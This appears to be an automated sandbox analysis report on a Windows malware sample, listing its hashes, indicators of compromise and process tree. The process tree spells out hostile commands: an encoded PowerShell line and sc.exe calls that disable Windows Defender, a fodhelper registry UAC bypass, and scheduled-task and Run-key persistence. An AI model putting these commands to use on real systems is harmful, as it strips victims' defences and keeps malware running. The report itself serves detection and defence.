Analysis
- max time kernel
150s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
08/05/2026, 00:42
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
crashy.io_hybers.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
37 signatures
150 seconds
Behavioral task
behavioral2
Sample
crashy.io_hybers.exe
Resource
win11-20260130-en
windows11-21h2-x64
35 signatures
150 seconds
General
- Target crashy.io_hybers.exe
- Size 49KB
- Sample260508-a2bmesct3w
- SHA256 b795c88267c9921dc8a67be0e72a0dc98333679b0686af26b0cf87397b23d26c
- MD5 018716e886db944de95a22b46b7f93ba
- SHA1 ef3e45865b8156e464d25a90ee7d490d18037131
- SHA512 d978bbc861b9c909f30f61d399f41be6fb03b4fc5c0c3614204446ecfc174d2bf8290938a01ed7ee451270da94fee3848afcba631f6007c443c648822efeb1f1
- SSDEEP 768:JrVZZ6zs0htPkQUrnkUT2kqB/NaPzfX/fBr4E:BZ6HhNDBmP/fBr4E
- TLSH T10233064937EE4522D1BF8ABE89B251118731F463DC23D74E1AD9459E09F3B00CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4780-0-0x0000000000840000-0x0000000000852000-memory.dmp disable_win_def behavioral2/files/0x001500000002b8bd-2262.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" crashy.io_hybers.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 484 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" crashy.io_hybers.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts crashy.io_hybers.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2364 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf crashy.io_hybers.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf crashy.io_hybers.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf crashy.io_hybers.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\crashy.io_hybers.exe" crashy.io_hybers.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\crashy.io_hybers.exe" crashy.io_hybers.exe - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\sysupdate.exe crashy.io_hybers.exe File created C:\Windows\system32\svchost.exe crashy.io_hybers.exe File created C:\Windows\system32\sysupdate.exe crashy.io_hybers.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5452 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" crashy.io_hybers.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5328 sc.exe 1244 sc.exe 1808 sc.exe 408 sc.exe 4948 sc.exe 2932 sc.exe 4880 sc.exe 2916 sc.exe 2484 sc.exe 5184 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4100 NETSTAT.EXE 4864 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2988 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1136 vssadmin.exe 392 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Control Panel\Desktop\WallpaperStyle = "2" crashy.io_hybers.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "145" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open crashy.io_hybers.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet crashy.io_hybers.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command crashy.io_hybers.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\crashy.io_hybers.exe" crashy.io_hybers.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command\DelegateExecute crashy.io_hybers.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command crashy.io_hybers.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command crashy.io_hybers.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell crashy.io_hybers.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings crashy.io_hybers.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings crashy.io_hybers.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell crashy.io_hybers.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open crashy.io_hybers.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\crashy.io_hybers.exe\" \"%1\"" crashy.io_hybers.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open crashy.io_hybers.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\.pdf\ = "PDFBotnet" crashy.io_hybers.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell crashy.io_hybers.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5720 schtasks.exe 5676 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 484 powershell.exe 484 powershell.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe 4780 crashy.io_hybers.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2384 LogonUI.exe Token: SeCreatePagefilePrivilege 2384 LogonUI.exe Token: SeDebugPrivilege 4780 crashy.io_hybers.exe Token: SeDebugPrivilege 484 powershell.exe Token: SeIncBasePriorityPrivilege 4780 crashy.io_hybers.exe Token: SeDebugPrivilege 5452 tasklist.exe Token: SeDebugPrivilege 3872 whoami.exe Token: SeDebugPrivilege 4100 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 4872 WMIC.exe Token: SeSecurityPrivilege 4872 WMIC.exe Token: SeTakeOwnershipPrivilege 4872 WMIC.exe Token: SeLoadDriverPrivilege 4872 WMIC.exe Token: SeSystemProfilePrivilege 4872 WMIC.exe Token: SeSystemtimePrivilege 4872 WMIC.exe Token: SeProfSingleProcessPrivilege 4872 WMIC.exe Token: SeIncBasePriorityPrivilege 4872 WMIC.exe Token: SeCreatePagefilePrivilege 4872 WMIC.exe Token: SeBackupPrivilege 4872 WMIC.exe Token: SeRestorePrivilege 4872 WMIC.exe Token: SeShutdownPrivilege 4872 WMIC.exe Token: SeDebugPrivilege 4872 WMIC.exe Token: SeSystemEnvironmentPrivilege 4872 WMIC.exe Token: SeRemoteShutdownPrivilege 4872 WMIC.exe Token: SeUndockPrivilege 4872 WMIC.exe Token: SeManageVolumePrivilege 4872 WMIC.exe Token: 33 4872 WMIC.exe Token: 34 4872 WMIC.exe Token: 35 4872 WMIC.exe Token: 36 4872 WMIC.exe Token: SeBackupPrivilege 3576 vssvc.exe Token: SeRestorePrivilege 3576 vssvc.exe Token: SeAuditPrivilege 3576 vssvc.exe Token: SeIncreaseQuotaPrivilege 4872 WMIC.exe Token: SeSecurityPrivilege 4872 WMIC.exe Token: SeTakeOwnershipPrivilege 4872 WMIC.exe Token: SeLoadDriverPrivilege 4872 WMIC.exe Token: SeSystemProfilePrivilege 4872 WMIC.exe Token: SeSystemtimePrivilege 4872 WMIC.exe Token: SeProfSingleProcessPrivilege 4872 WMIC.exe Token: SeIncBasePriorityPrivilege 4872 WMIC.exe Token: SeCreatePagefilePrivilege 4872 WMIC.exe Token: SeBackupPrivilege 4872 WMIC.exe Token: SeRestorePrivilege 4872 WMIC.exe Token: SeShutdownPrivilege 4872 WMIC.exe Token: SeDebugPrivilege 4872 WMIC.exe Token: SeSystemEnvironmentPrivilege 4872 WMIC.exe Token: SeRemoteShutdownPrivilege 4872 WMIC.exe Token: SeUndockPrivilege 4872 WMIC.exe Token: SeManageVolumePrivilege 4872 WMIC.exe Token: 33 4872 WMIC.exe Token: 34 4872 WMIC.exe Token: 35 4872 WMIC.exe Token: 36 4872 WMIC.exe Token: SeIncreaseQuotaPrivilege 2516 WMIC.exe Token: SeSecurityPrivilege 2516 WMIC.exe Token: SeTakeOwnershipPrivilege 2516 WMIC.exe Token: SeLoadDriverPrivilege 2516 WMIC.exe Token: SeSystemProfilePrivilege 2516 WMIC.exe Token: SeSystemtimePrivilege 2516 WMIC.exe Token: SeProfSingleProcessPrivilege 2516 WMIC.exe Token: SeIncBasePriorityPrivilege 2516 WMIC.exe Token: SeCreatePagefilePrivilege 2516 WMIC.exe Token: SeBackupPrivilege 2516 WMIC.exe Token: SeRestorePrivilege 2516 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4780 crashy.io_hybers.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2384 LogonUI.exe 4780 crashy.io_hybers.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4780 wrote to memory of 484 4780 crashy.io_hybers.exe 81 PID 4780 wrote to memory of 5328 4780 crashy.io_hybers.exe 83 PID 4780 wrote to memory of 1244 4780 crashy.io_hybers.exe 85 PID 4780 wrote to memory of 4948 4780 crashy.io_hybers.exe 114 PID 4780 wrote to memory of 1808 4780 crashy.io_hybers.exe 89 PID 4780 wrote to memory of 2932 4780 crashy.io_hybers.exe 91 PID 4780 wrote to memory of 408 4780 crashy.io_hybers.exe 93 PID 4780 wrote to memory of 2916 4780 crashy.io_hybers.exe 95 PID 4780 wrote to memory of 4880 4780 crashy.io_hybers.exe 126 PID 4780 wrote to memory of 6012 4780 crashy.io_hybers.exe 99 PID 6012 wrote to memory of 3352 6012 fodhelper.exe 100 PID 4780 wrote to memory of 1708 4780 crashy.io_hybers.exe 102 PID 4780 wrote to memory of 5720 4780 crashy.io_hybers.exe 103 PID 4780 wrote to memory of 4960 4780 crashy.io_hybers.exe 108 PID 4780 wrote to memory of 5596 4780 crashy.io_hybers.exe 110 PID 4780 wrote to memory of 1676 4780 crashy.io_hybers.exe 111 PID 4780 wrote to memory of 5232 4780 crashy.io_hybers.exe 112 PID 4780 wrote to memory of 6044 4780 crashy.io_hybers.exe 113 PID 4780 wrote to memory of 4948 4780 crashy.io_hybers.exe 114 PID 4780 wrote to memory of 4308 4780 crashy.io_hybers.exe 115 PID 4780 wrote to memory of 5676 4780 crashy.io_hybers.exe 120 PID 4780 wrote to memory of 4196 4780 crashy.io_hybers.exe 124 PID 1676 wrote to memory of 5452 1676 cmd.exe 125 PID 4780 wrote to memory of 4880 4780 crashy.io_hybers.exe 126 PID 4780 wrote to memory of 1136 4780 crashy.io_hybers.exe 127 PID 5596 wrote to memory of 2988 5596 cmd.exe 128 PID 4780 wrote to memory of 4872 4780 crashy.io_hybers.exe 131 PID 4948 wrote to memory of 4864 4948 cmd.exe 132 PID 5232 wrote to memory of 3872 5232 cmd.exe 130 PID 4780 wrote to memory of 4732 4780 crashy.io_hybers.exe 135 PID 6044 wrote to memory of 1508 6044 cmd.exe 136 PID 4308 wrote to memory of 4100 4308 cmd.exe 133 PID 4780 wrote to memory of 2364 4780 crashy.io_hybers.exe 138 PID 4780 wrote to memory of 2484 4780 crashy.io_hybers.exe 140 PID 4780 wrote to memory of 5184 4780 crashy.io_hybers.exe 141 PID 1508 wrote to memory of 4820 1508 net.exe 144 PID 4960 wrote to memory of 392 4960 cmd.exe 145 PID 4732 wrote to memory of 2176 4732 net.exe 146 PID 4960 wrote to memory of 2516 4960 cmd.exe 149 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe"C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:484
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5328
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1244
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4948
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1808
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2932
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:408
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2916
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4880
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:6012 -
C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe"C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe"3⤵PID:3352
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:1708
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe" /sc onlogon /f2⤵
